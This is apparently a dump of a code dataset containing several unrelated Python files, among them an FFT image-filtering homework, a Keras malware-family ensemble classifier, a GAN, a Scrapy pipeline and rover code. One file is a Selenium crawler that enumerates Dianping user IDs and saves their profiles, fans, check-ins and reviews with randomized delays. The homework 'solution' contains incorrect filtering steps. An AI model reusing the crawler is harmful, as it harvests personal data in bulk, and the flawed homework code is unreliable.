solution.py\n# Description:\n# Author: Kwang Moo Yi\n# Maintainer:\n# Created: Mon Oct 15 13:06:48 2018 (-0700)\n# Version:\n#\n\n# Commentary:\n#\n#\n#\n#\n\n# Change Log:\n#\n#\n#\n# Copyright (C), Visual Computing Group @ University of Victoria.\n\n# Code:\n\nimport time\n\nimport cv2\nimport numpy as np\nfrom numpy.fft import fftshift\nfrom numpy.fft import fft2\nfrom numpy.fft import ifft2\n\n# Placeholder to stop auto-syntac checking from complaining\nTODO = None\n\n\ndef custom_blur_demo(image):\n kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]], np.float32) # 锐化\n dst = cv2.filter2D(image, -1, kernel=kernel)\n cv2.imshow(\"custom_blur_demo\", dst)\n\n\ndef main():\n # Read Image in grayscale and show\n img = cv2.imread(\"input.jpg\", 0)\n cv2.imwrite(\"orig1.png\", img)\n print(img.shape)\n print(\"1\")\n # ----------------------------------------------------------------------\n # Create Filter\n #\n # TODO: 3 Marks: Create sharpen filter from the lecture, but with a\n # Gaussian filter form the averaging instead of the mean filter. For the\n # Gaussian filter, use a kernel with size 31x31 with sigma 5. For the unit\n # impulse set the multiplier to be 2.\n kernel = np.multiply(cv2.getGaussianKernel(31, 5), np.transpose(cv2.getGaussianKernel(31, 5)))\n\n # ----------------------------------------------------------------------\n # Filter with FFT\n #\n # TODO: 1 Mark: Pad filter with zeros to have the same size as the image,\n # but with the filter in the center. This creates a larger filter, that\n # effectively does the same thing as the original image.\n kernel_padded = np.zeros_like(img).astype(float)\n pad_h = (img.shape[0] - kernel.shape[0]) // 2\n pad_w = (img.shape[1] - kernel.shape[1]) // 2\n kernel_padded[pad_h:pad_h + kernel.shape[0], pad_w:pad_w + kernel.shape[1]] = kernel\n\n # Shift filter image to have origin on 0,0. This one is done for you. The\n # exact theory behind this was not explained in class so you may skip this\n # part. Drop by my office hours if you are interested.\n kernel_padded_shifted = fftshift(kernel_padded)\n\n # TODO: 1 Mark: Move all signal to Fourier space (DFT).\n img_fft = fft2(img)\n kernel_fft = fft2(kernel_padded_shifted)\n # Display signals in Fourier Space\n # I put some visualization here to help debugging :-)\n cv2.imwrite(\n \"orig_fft1.png\",\n np.minimum(1e-5 * np.abs(fftshift(img_fft)), 1.0) * 255.)\n cv2.imwrite(\n \"filt_fft1.png\",\n np.minimum(1e-1 * np.abs(fftshift(kernel_fft)), 1.0) * 255.)\n print(\"2\")\n img_fft = fftshift(img_fft)\n kernel_fft = fftshift(kernel_fft)\n # TODO: 1 Mark: Do filtering in Fourier space\n img_filtered_fft = fftshift(fft2(kernel_padded_shifted))\n\n # TODO: 1 Mark: Bring back to Spatial domain (Inverse DFT)\n # TODO: 2 Marks: Throw away the imaginary part and clip between 0 and 255\n # to make it a real image.\n img_fft_copy = img_fft.copy()\n mask = np.zeros_like(img_fft_copy)\n cx = mask.shape[0] // 2\n cy = mask.shape[1] // 2\n mask[cx - 50:cx + 50, cy - 50:cy + 50] = 1\n img_fft_copy = fftshift(fftshift(img_fft_copy * mask, axes=0), axes=1)\n img_sharpened = np.real(ifft2(img_fft_copy))\n cv2.imwrite(\"res_fft1.png\", img_sharpened.astype(np.uint8))\n print(\"3\")\n # ----------------------------------------------------------------------\n # Filter with OpenCV\n # TODO: 1 Mark: Use padded filter and cyclic padding (wrap) to get exact results\n # TOOD: 1 Mark: Clip image for display\n\n img_sharpened = cv2.filter2D(img, -1, kernel_padded)\n cv2.imwrite(\"res_opencv1.png\", img_sharpened.astype(np.uint8))\n print(\"4\")\n\nif __name__ == \"__main__\":\n main()\n exit(0)\n\n#\n# solution.py ends here\n","sub_path":"project_1028/1105301/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"301790230","text":"# encoding: utf-8\nimport time\nimport codecs\nimport os\nimport random\nimport dianping_u_profile_crawler\nimport dianping_u_follows_crawler\nimport dianping_u_fans_crawler\nimport dianping_u_checkins_crawler\nimport dianping_u_reviews_crawler\nfrom selenium import webdriver\n\ndef getInRange(first, last, step):\n driver = webdriver.Firefox()\n for i in range(first, last+1, step):\n print(i)\n try:\n time.sleep(random.randint(3, 4))\n profile_str = dianping_u_profile_crawler.get_page(i, driver).getstr()\n if not profile_str.find(\"\\\"Year\\\": 1990\") == -1:\n out = open(\"./status.txt\", 'w')\n out.write(str(i) + \"\\n\")\n out.close()\n continue\n out = codecs.open(\"./Data/%s_profile.txt\"%str(i), 'w', 'utf-8')\n out.write(profile_str + \"\\n\")\n out.close()\n time.sleep(random.randint(3, 4))\n out = codecs.open(\"./Data/%s_follows.txt\"%str(i), 'w', 'utf-8')\n out.write(dianping_u_follows_crawler.get_follows(i, driver).getstr() + \"\\n\")\n out.close()\n time.sleep(random.randint(3, 4))\n out = codecs.open(\"./Data/%s_fans.txt\"%str(i), 'w', 'utf-8')\n out.write(dianping_u_fans_crawler.get_fans(i, driver).getstr() + \"\\n\")\n out.close()\n time.sleep(random.randint(3, 4))\n out = codecs.open(\"./Data/%s_checkins.txt\"%str(i), 'w', 'utf-8')\n out.write(dianping_u_checkins_crawler.get_checkins(i, driver) + \"\\n\")\n out.close()\n time.sleep(random.randint(3, 4))\n out = codecs.open(\"./Data/%s_reviews.txt\"%str(i), 'w', 'utf-8')\n out.write(dianping_u_reviews_crawler.get_reviews(i, driver) + \"\\n\")\n out.close()\n out = open(\"./status.txt\", 'w')\n out.write(str(i))\n out.close()\n except:\n driver.close()\n raise\n driver.close()\n","sub_path":"User_Crawler/dianping_u_crawler_main.py","file_name":"dianping_u_crawler_main.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"305893030","text":"#!/usr/bin/env python3\n\nimport tensorflow as tf\n\ns = tf.Session()\nx = tf.placeholder(tf.float32)\ny = x ** 2\nfeed_dict = {x: 5}\ny_val = s.run(y, feed_dict)\nprint(y_val)\n","sub_path":"tensorflow_practise/placeholders.py","file_name":"placeholders.py","file_ext":"py","file_size_in_byte":168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"26291574","text":"##Sarp Gökdağ [Caesar Cipher]\n##Youtube Video Link --> \nplaintext = input('Çevrilecek Metin : ')\nalfabe = \"abcçdefghıijklmnoöprsştuüvyz\"\nanahtar = 3\nkripto = ''\n\nfor c in plaintext :\n if c in alfabe:\n kripto += alfabe[(alfabe.index(c)-anahtar)%(len(alfabe))]\n\nprint('İşte Kriptolu Mesajınız :' + kripto)\n","sub_path":"sezar.py","file_name":"sezar.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"165609809","text":"# Python Code for Raspberry Pi Rovers\n# By Rodrigo Rosmaninho and Francisco Power in 2016\n\n# Imports necessary packages\nimport RPi.GPIO as GPIO\nimport gpiozero as ZERO\nimport time\nimport sys\nimport RoverCONF\n\n# Initializes global variables\nroverNumber = None\narg1 = None\narg2 = None\n\n# Handles queries left undone due to use of direct RoverMAIN.py launch instead of launching via launchRover.sh \ndef badLaunchHandler():\n \n # Sets \"variable mode\" to global in function badLaunchHandler()\n global arg1\n global arg2\n \n # Warns user to not repeat bad launch procedure \n print(\"You have not started the Rover using the correct procedure.\\nIn the future, launch the Rover by running the launchRover.sh file.\")\n \n # Questions user to determine arg1 value\n option1 = input(\"Would you rather use the default GPIO pin numbers or set your own custom numbers?\\n[1] Default\\n[2] Custom\\n\")\n \n # Sets arg1 value if user answer is 1 (Default)\n if(option1 == \"1\"):\n arg1 = \"-default\"\n \n # Sets arg1 value if user answer is 2 (Custom)\n elif(option1 == \"2\"):\n arg1 = \"-custom\"\n \n # Handles user reponse outside of [1, 2]. Restarts the badLaunchHandler() function\n else:\n print(\"\\nError! Use either 1 or 2 to respond.\\n\")\n badLaunchHandler()\n \n # Questions the user to determine arg2 value \n option2 = input(\"\\nWhich Rover is this?\\n[1] Rover One\\n[2] Rover Two\\n\")\n \n # Sets arg2 value if user answer is 1 (Rover One)\n if(option2 == \"1\"):\n arg2 = \"-one\"\n \n # Sets arg2 value if user answer is 2 (Rover Two)\n elif(option2 == \"2\"):\n arg2 = \"-two\"\n \n # Handles user reponse outside of [1, 2]. Restarts the badLaunchHandler() function\n # TODO: Right now if a user fails question 2 he has to repeat question 1 as well as question 2. Fix is needed. Should be easy. Priority: LOW\n else:\n print(\"\\nError! Use either 1 or 2 to respond.\\n\")\n badLaunchHandler()\n\n# Gets parameters set by launchRover.sh\ntry:\n # Determines the first parameter\n # arg1 has two options: \"Default\" or \"Custom\", these refer to the GPIO pin number values\n arg1 = sys.argv[1]\n \n # arg2 has two options: \"One\" or \"Two\", these refer to which Rover the software is running on.\n # arg2 is useful for senseHAT integration (which may happen on only Rover Two) and other functions only available to one of the Rovers\n arg2 = sys.argv[2]\n\n# Calls the function badLaunchHandler if there's an error with the code on the \"try\" block.\n# Useful for handling launches where the parameters are not set correctly. Avoids Application Halt due to potential error\nexcept:\n badLaunchHandler()\n\n# Call the function gpioInitialize() on RoverCONF.py in order to configure GPIO pin number values\n# Function is called with parameter arg1 for RoverCONF to know whether setting values according to user input is necessary\ndef configure():\n \n # Sets \"variable mode\" to global in function configure()\n global arg1\n global arg2\n \n # Initializes GPIO pins. Greeting is customized for each Rover\n if(arg2 == \"-two\"):\n roverNumber = \"Two\"\n print(\"Welcome to Rover \" + roverNumber + \", initialization sequence will now commence.\")\n RoverCONF.gpioInitialize(arg1)\n\n elif(arg2 == \"-one\"):\n roverNumber = \"One\"\n print(\"Welcome to Rover \" + roverNumber + \", initialization sequence will now commence.\")\n RoverCONF.gpioInitialize(arg1)\n \n # Handles unexpected errors\n else:\n print(\"Startup Error! Restart\")\n\n# Calls function configure() to start the process\nconfigure()\n\n# Parses list of the GPIO pin number values set in RoverCONF.py into a string (final_list), then strips it of \"[]\" and commas so that it can be transformed back into a list later\nfinal_list = str(RoverCONF.gpioListify()).strip('[]')\nfinal_list = final_list.replace(\",\", \"\")\n\n# Makes file \"cache_bodge.ext\" in the working directory in order to save \"final_list\" in it for future use by other functions and python scripts\n# Enables importing of RoverCONF.py wthout losing GPIO pin number values.\nnew_file = open(\"cache_bodge.ext\", \"w\")\nnew_file.write(final_list)\n\nimport RoverNAV\nRoverNAV.ultrasoundInitialization()\nRoverNAV.roverNavigate()\n","sub_path":"src/RoverMAIN.py","file_name":"RoverMAIN.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"441603809","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nfrom __future__ import absolute_import\nfrom __future__ import division \nfrom __future__ import print_function\n\n\nimport pymysql\nfrom pymysql import connections\nfrom baidu_baike import settings\n\nclass BaiduBaikePipeline(object):\n def __init__(self):\n self.conn = pymysql.connect(\n host=settings.HOST_IP,\n port=settings.PORT,\n user=settings.USER,\n passwd=settings.PASSWD,\n db=settings.DB_NAME,\n charset='utf8mb4',\n use_unicode=True\n ) \n self.cursor = self.conn.cursor()\n\n def process_item(self, item, spider):\n # process info for actor\n title = str(item['title']).encode('utf-8')\n title_id = str(item['title_id']).encode('utf-8')\n abstract = str(item['abstract']).encode('utf-8')\n infobox = str(item['infobox']).encode('utf-8')\n subject = str(item['subject']).encode('utf-8')\n disambi = str(item['disambi']).encode('utf-8')\n redirect = str(item['redirect']).encode('utf-8')\n curLink = str(item['curLink']).encode('utf-8')\n interPic = str(item['interPic']).encode('utf-8')\n interLink = str(item['interLink']).encode('utf-8')\n exterLink = str(item['exterLink']).encode('utf-8')\n relateLemma = str(item['relateLemma']).encode('utf-8')\n all_text = str(item['all_text']).encode('utf-8')\n\n# self.cursor.execute(\"SELECT disambi FROM lemmas;\")\n# disambi_list = self.cursor.fetchall()\n# if (disambi,) not in disambi_list :\n self.cursor.execute(\"SELECT MAX(title_id) FROM lemmas\")\n result = self.cursor.fetchall()[0]\n if None in result:\n title_id = 1\n else:\n title_id = result[0] + 1\n sql = \"\"\"\n INSERT INTO lemmas(title, title_id, abstract, infobox, subject, disambi, redirect, curLink, interPic, interLink, exterLink, relateLemma, all_text ) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n \"\"\"\n try:\n# disambi_list = self.cursor.fetchall()\n# if (disambi, ) in disambi_list:\n# print (\"result: \", disambi)\n self.cursor.execute(sql, (title, title_id, abstract, infobox, subject, disambi, redirect, curLink, interPic, interLink, exterLink, relateLemma, all_text ))\n self.conn.commit()\n# self.cursor.execute(\"SELECT disambi FROM lemmas\" )\n except Exception as e:\n print(\"#\"*20, \"\\nAn error when insert into mysql!!\\n\")\n print(\"curLink: \", curLink, \"\\n\")\n print(e, \"\\n\", \"#\"*20)\n try:\n all_text = str('None').encode('utf-8').encode('utf-8')\n self.cursor.execute(sql, (title, title_id, abstract, infobox, subject, disambi, redirect, curLink, interPic, interLink, exterLink, relateLemma, all_text ))\n self.conn.commit()\n except Exception as f:\n print(\"Error without all_text!!!\")\n return item\n\n def close_spider(self, spider):\n self.conn.close()\n","sub_path":"ie/craw/craw_all_baidu/baidu_baike/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"572201465","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport random\n\nimport numpy as np\nfrom framat.stdfun import standard_run, StdRunArgs\n\nFILENAME_SINGLE_BEAM = 'single_beam.json'\nFILENAME_TRIPLE_BEAM = 'triple_beam.json'\n\ndef import_model(filename):\n\n with open(filename, \"r\") as fp:\n model = json.load(fp)\n\n return model\n\n\nclass TestLoadMapping:\n \"\"\"\n Make sure that all free node loads are mapped onto structure.\n\n All loads must be accounted for in the final, global load vector.\n \"\"\"\n\n num_load_points = 100\n\n Fx = 1\n Fy = 1\n Fz = 1\n Mx = 0\n My = 0\n Mz = 0\n\n def get_free_node_load_entry(self, x, y, z):\n return {\"coord\": [x, y, z], \"load\": [self.Fx, self.Fy, self.Fz, self.Mx, self.My, self.Mz]}\n\n def _run_mapping_test(self, filename, beam_num=0, xyz_lims=(1,1,1)):\n model = import_model(filename)\n\n xlim, ylim, zlim = xyz_lims\n free_node_loads = []\n for _ in range(self.num_load_points):\n x = xyz_lims[0]*random.random()\n y = xyz_lims[1]*random.random()\n z = xyz_lims[2]*random.random()\n free_node_loads.append(self.get_free_node_load_entry(x, y, z))\n\n model['beamlines'][beam_num]['loads']['free_nodes'] = free_node_loads\n\n args = StdRunArgs()\n args.filename = filename\n results = standard_run(args, model=model)\n frame = results['frame']\n\n sum_Fx = np.sum(frame.F[0::6])\n sum_Fy = np.sum(frame.F[0::6])\n sum_Fz = np.sum(frame.F[2::6])\n\n assert sum_Fx == self.num_load_points*self.Fx\n assert sum_Fy == self.num_load_points*self.Fy\n assert sum_Fz == self.num_load_points*self.Fz\n\n def test_single_beam(self):\n self._run_mapping_test(FILENAME_SINGLE_BEAM)\n\n def test_triple_beam(self):\n\n # Test mapping onto each beamline\n for beam_num in range(3):\n self._run_mapping_test(FILENAME_TRIPLE_BEAM, beam_num=beam_num, xyz_lims=(1,1,3))\n","sub_path":"tests/integration/test_load_mapping.py","file_name":"test_load_mapping.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"201046077","text":"\"\"\"noticov URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nfrom noticias.views import inicio, listar, articulo, ordenar_tipo, tipos_alcance, ordenar_campo, tipos_campo, control, \\\n borrar, nuevoarticulo, nuevoautor, nuevarevista\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', inicio),\n path('listado', listar, name='lista'),\n path('articulo/', articulo),\n path('alcance', ordenar_tipo),\n path('alcance/', tipos_alcance),\n path('campo', ordenar_campo),\n path('campo/', tipos_campo),\n path('control', control),\n path('borrar/', borrar),\n path('nuevoart', nuevoarticulo),\n path('ingreso/', include('django.contrib.auth.urls')),\n path('ingreso/', include('ingreso.urls')),\n path('nuevoautor', nuevoautor),\n path('nuevarevista', nuevarevista),\n path('encuesta/', include('encuesta.urls')),\n\n] +static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n","sub_path":"noticov/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"101325249","text":"#written by Viktor Zenkov in 2018\n\n#this file classifies using the Ensemble model, making predictions based on the predictions from the text and hex models\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport sys\n\nimport numpy as np\nfrom numpy.random import seed\nfrom tensorflow import set_random_seed\n\nimport matplotlib.pyplot as plt\nimport math\nimport time\nimport datetime\n\nfrom keras.preprocessing import sequence\nfrom keras.models import Sequential, Model\nfrom keras.models import load_model\nfrom keras.layers import Input, Dense, Embedding\nfrom keras.layers import LSTM, Dropout, Activation\nfrom keras.layers import concatenate\nfrom keras.utils import to_categorical, print_summary\nfrom keras.callbacks import EarlyStopping\nfrom sklearn.metrics import confusion_matrix\nimport itertools\n\nprint('sys.argv[0]: {0!r}'.format(sys.argv[0]))\nprint('sys.path[0]: {0!r}'.format(sys.path[0]))\n \n#this plots a confusion matrix\ndef plot_confusion_matrix(cm, classes, normalize=False, title='Confusion Matrix', cmap=plt.cm.Blues):\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n \n print(cm)\n \n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title, fontsize=30)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks,classes, rotation=45,fontsize=22)\n plt.yticks(tick_marks,classes, fontsize=22)\n \n fmt = '.2f'\n thresh = cm.max()/2.\n for i,j in itertools.product(range(cm.shape[0]),range(cm.shape[1])):\n plt.text(j, i, format(cm[i,j],fmt),horizontalalignment=\"center\",color='white' if cm[i,j]>thresh else 'black')\n \n plt.ylabel('True label', fontsize=25)\n plt.xlabel('Predicted label', fontsize=25)\n\n\n\n\nimport classifyingFunctions\n\n\n\n\n\n\nmax_features = 5000 #this is the number of unique integers we will keep\nmaxlen = 15000 # this is the number of integers from each file to keep, the sequence length\nbatch_size = 16\n\nmodelN = load_model('model2018-11-021541168475.h5')\nmodelH = load_model('model2018-10-301540939919.h5')\n\nprint('Loading number data...')\n\n#num_words' default is None, which is taken to mean that all unique integers should be kept.\n(x_train_N, y_train_N), (x_test_N, y_test_N) = classifyingFunctions.load_data(num_words=max_features,numOrHex=True) #all integers greater than max_features get turned into 2's, so there's max_features number of unique \"words\"\nprint(len(x_train_N), 'train sequences')\nprint(len(x_test_N), 'test sequences')\n\n#this makes all the sequences be exactly maxlen integers long\nprint('Pad sequences (samples x time)')\nx_train_N = sequence.pad_sequences(x_train_N, maxlen=maxlen)\nx_test_N = sequence.pad_sequences(x_test_N, maxlen=maxlen)\nprint('x_train_N shape:', x_train_N.shape)\nprint('x_test_N shape:', x_test_N.shape)\n\ny_test_N_ld = y_test_N\n\n#We have classes from 1 to 9, which is 9 classes, but to_categorical will make an array with spots from 0 to max_class, so we subtract 1 such that our classes are 0 to 8 and we can use 9 classes.\ny_train_N -= 1\ny_test_N -= 1\n\n#to_categorical replaces each number between 0 and 8 with a 9-length array of 0's except a 1 in the place of the number.\ny_train_N = to_categorical(y_train_N, 9)\ny_test_N = to_categorical(y_test_N, 9)\n\nprint('y_train_N shape:', y_train_N.shape)\nprint('y_test_N shape:', y_test_N.shape)\n\n\n#we also need the hex data\nprint('Loading hex data...')\n\n(x_train_H, y_train_H), (x_test_H, y_test_H) = classifyingFunctions.load_data(num_words=max_features,numOrHex=False) \nprint(len(x_train_H), 'train sequences')\nprint(len(x_test_H), 'test sequences')\n\nprint('Pad sequences (samples x time)')\nx_train_H = sequence.pad_sequences(x_train_H, maxlen=maxlen)\nx_test_H = sequence.pad_sequences(x_test_H, maxlen=maxlen)\nprint('x_train_N shape:', x_train_N.shape)\nprint('x_test_N shape:', x_test_N.shape)\n\ny_test_H_ld = y_test_H\n\ny_train_H -= 1\ny_test_H -= 1\n\ny_train_H = to_categorical(y_train_H, 9)\ny_test_H = to_categorical(y_test_H, 9)\n\nprint('y_train_H shape:', y_train_H.shape)\nprint('y_test_H shape:', y_test_H.shape)\n\n\n\n#printing the test accuracies of the text and hex models\nscore_N, acc_N = modelN.evaluate(x_test_N, y_test_N,\n batch_size=batch_size)\nprint('Text Test score:', score_N)\nprint('Text Test accuracy:', acc_N)\n\nscore_H, acc_H = modelH.evaluate(x_test_H, y_test_H,\n batch_size=batch_size)\nprint('Hex Test score:', score_H)\nprint('Hex Test accuracy:', acc_H)\n\n\n\n\n\n\ny_probs_N = modelN.predict(x_train_N)\ny_probs_testN = modelN.predict(x_test_N)\n\n\ny_probs_H = modelH.predict(x_train_H)\ny_probs_testH = modelH.predict(x_test_H)\n\n\n#we concatenate the predicted probabilities of the text and hex data\ny_probs_C = np.concatenate((y_probs_N, y_probs_H),axis=1)\ny_probs_testC = np.concatenate((y_probs_testN, y_probs_testH),axis=1)\n\nprint(np.size(y_probs_C))\n\n\n\nmodel = Sequential()\n\n#output layer has 9 probabilities; input has 18 entries (9 text and 9 hex probabilities)\nmodel.add(Dense(9, activation='softmax', input_shape=(18,), name='aux_output'))\n\nmodel.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\nes = EarlyStopping(monitor=\"val_acc\",min_delta=0.005,patience=28,mode='max')\n\n#we train. This usually runs very quickly\nprint('Train...')\nmodel.fit(y_probs_C, y_train_H,\n batch_size=batch_size,\n epochs=100, \n validation_split=0.15, callbacks=[es])\n \nmodel.save('model'+str(datetime.date.today())+str(math.floor(time.time()))+'.h5')\n\nscore, acc = model.evaluate(y_probs_testC, y_test_H,\n batch_size=batch_size)\nprint('Test score:', score)\nprint('Test accuracy:', acc)\n\n\n\n#the rest of this is for the confusion matrix\n\ny_probs = model.predict(y_probs_testC)\n\n#this block of code makes a 1D array of predicted labels, which is an input to the confusion matrix\ny_pred_ld = []\nfor i in range(0, len(y_probs)):\n probs = y_probs[i]\n predicted_index = np.argmax(probs)\n y_pred_ld.append(predicted_index)\n\n#cnf_matrix = confusion_matrix(y_test_N_ld, y_pred_ld)\n#plt.figure(figsize=(24,20))\ncnf_matrix = confusion_matrix(y_test_N_ld, y_pred_ld)\nprint(cnf_matrix)\ncnf_matrix = cnf_matrix.astype('float') / cnf_matrix.sum(axis=1)[:, np.newaxis]\nprint(cnf_matrix)\n\nprint_summary(model)\n\n\n#plt.subplot(221)\n#plot_confusion_matrix(cnf_matrix,classes=range(1,10),normalize=False,title=\"Confusion matrix\")\n#plt.subplot(222)\n#plot_confusion_matrix(cnf_matrix,classes=range(0,10),normalize=True,title=\"Confusion matrix\")\n#plt.show()\nprint(\"end of file\")\n","sub_path":"classifyingTextENSEMBLE.py","file_name":"classifyingTextENSEMBLE.py","file_ext":"py","file_size_in_byte":6597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"190839448","text":"\nimport jittor as jt\nfrom jittor import init\nfrom jittor import nn\nfrom jittor.dataset.mnist import MNIST\nimport jittor.transform as transform\nimport argparse\nimport os\nimport numpy as np\nimport math\nimport cv2\nimport time\n\njt.flags.use_cuda = 1\nos.makedirs('images', exist_ok=True)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--n_epochs', type=int, default=200, help='number of epochs of training')\nparser.add_argument('--batch_size', type=int, default=64, help='size of the batches')\nparser.add_argument('--lr', type=float, default=0.0002, help='adam: learning rate')\nparser.add_argument('--b1', type=float, default=0.5, help='adam: decay of first order momentum of gradient')\nparser.add_argument('--b2', type=float, default=0.999, help='adam: decay of first order momentum of gradient')\nparser.add_argument('--n_cpu', type=int, default=8, help='number of cpu threads to use during batch generation')\nparser.add_argument('--latent_dim', type=int, default=100, help='dimensionality of the latent space')\nparser.add_argument('--img_size', type=int, default=28, help='size of each image dimension')\nparser.add_argument('--channels', type=int, default=1, help='number of image channels')\nparser.add_argument('--sample_interval', type=int, default=400, help='interval betwen image samples')\nopt = parser.parse_args()\nprint(opt)\nimg_shape = (opt.channels, opt.img_size, opt.img_size)\n\ndef save_image(img, path, nrow=10):\n N,C,W,H = img.shape\n img2=img.reshape([-1,W*nrow*nrow,H])\n img=img2[:,:W*nrow,:]\n for i in range(1,nrow):\n img=np.concatenate([img,img2[:,W*nrow*i:W*nrow*(i+1),:]],axis=2)\n min_=img.min()\n max_=img.max()\n img=(img-min_)/(max_-min_)*255\n img=img.transpose((1,2,0))\n cv2.imwrite(path,img)\nclass Generator(nn.Module):\n\n def __init__(self):\n super(Generator, self).__init__()\n\n def block(in_feat, out_feat, normalize=True):\n layers = [nn.Linear(in_feat, out_feat)]\n if normalize:\n layers.append(nn.BatchNorm1d(out_feat, 0.8))\n layers.append(nn.LeakyReLU(scale=0.2))\n return layers\n self.model = nn.Sequential(*block(opt.latent_dim, 128, normalize=False), *block(128, 256), *block(256, 512), *block(512, 1024), nn.Linear(1024, int(np.prod(img_shape))), nn.Tanh())\n\n def execute(self, z):\n img = self.model(z)\n img = img.view((img.shape[0], *img_shape))\n return img\n\nclass Discriminator(nn.Module):\n\n def __init__(self):\n super(Discriminator, self).__init__()\n self.model = nn.Sequential(nn.Linear((opt.img_size ** 2), 512), nn.LeakyReLU(scale=0.2), nn.Linear(512, 256), nn.LeakyReLU(scale=0.2), nn.Linear(256, 1))\n\n def execute(self, img):\n img_flat = img.view((img.shape[0], (- 1)))\n validity = self.model(img_flat)\n return validity\n\nadversarial_loss = nn.BCELoss()\n\n# Initialize generator and discriminator\ngenerator = Generator()\ndiscriminator = Discriminator()\n\n# Configure data loader\ntransform = transform.Compose([\n transform.Resize(size=opt.img_size),\n transform.Gray(),\n transform.ImageNormalize(mean=[0.5], std=[0.5]),\n])\ndataloader = MNIST(train=True, transform=transform).set_attrs(batch_size=opt.batch_size, shuffle=True)\n\n# Optimizers\noptimizer_G = jt.optim.Adam(generator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\noptimizer_D = jt.optim.Adam(discriminator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\n\ndef log(x):\n return jt.log((x + 1e-08))\n\nwarmup_times = -1\nrun_times = 3000\ntotal_time = 0.\ncnt = 0\n\n# ----------\n# Training\n# ----------\n\nfor epoch in range(opt.n_epochs):\n for (i, (real_imgs, _)) in enumerate(dataloader):\n batch_size = real_imgs.shape[0]\n g_target = (1 / (batch_size * 2))\n d_target = (1 / batch_size)\n\n # -----------------\n # Train Discriminator\n # -----------------\n \n z = jt.array(np.random.normal(0, 1, (real_imgs.shape[0], opt.latent_dim)).astype(np.float32))\n gen_imgs = generator(z)\n d_real = discriminator(real_imgs)\n d_fake = discriminator(gen_imgs)\n Z = (jt.sum(jt.exp((- d_real))) + jt.sum(jt.exp((- d_fake))))\n d_loss = ((d_target * jt.sum(d_real)) + log(Z))\n optimizer_D.step(d_loss)\n \n # ---------------------\n # Train Generator\n # ---------------------\n\n g_loss = ((g_target * (jt.sum(d_real) + jt.sum(d_fake))) + log(Z))\n optimizer_G.step(d_loss+g_loss)\n \n if warmup_times==-1:\n print(('[Epoch %d/%d] [Batch %d/%d] [D loss: %f] [G loss: %f]' % (epoch, opt.n_epochs, i, len(dataloader), d_loss.numpy()[0], g_loss.numpy()[0])))\n batches_done = ((epoch * len(dataloader)) + i)\n if ((batches_done % opt.sample_interval) == 0):\n save_image(gen_imgs.data[:25], ('images/%d.png' % batches_done), nrow=5)\n else:\n jt.sync_all()\n cnt += 1\n print(cnt)\n if cnt == warmup_times:\n jt.sync_all(True)\n sta = time.time()\n if cnt > warmup_times + run_times:\n jt.sync_all(True)\n total_time = time.time() - sta\n print(f\"run {run_times} iters cost {total_time} seconds, and avg {total_time / run_times} one iter.\")\n exit(0)\n","sub_path":"计图/jitu/JGAN/models/softmax_gan/softmax_gan.py","file_name":"softmax_gan.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"364122401","text":"from Acquisition import Explicit\nfrom Acquisition import aq_inner\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.Five.browser import BrowserView\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\nfrom plone.memoize.view import memoize\nfrom zope.component import adapts\nfrom zope.contentprovider.interfaces import IContentProvider\nfrom zope.interface import Interface\nfrom zope.interface import implements\nfrom zope.publisher.interfaces.browser import IBrowserView\nfrom zope.publisher.interfaces.browser import IDefaultBrowserLayer\n\nfrom xm.theme.browser.interfaces import IProjectContentView\nfrom xm.theme.browser.interfaces import 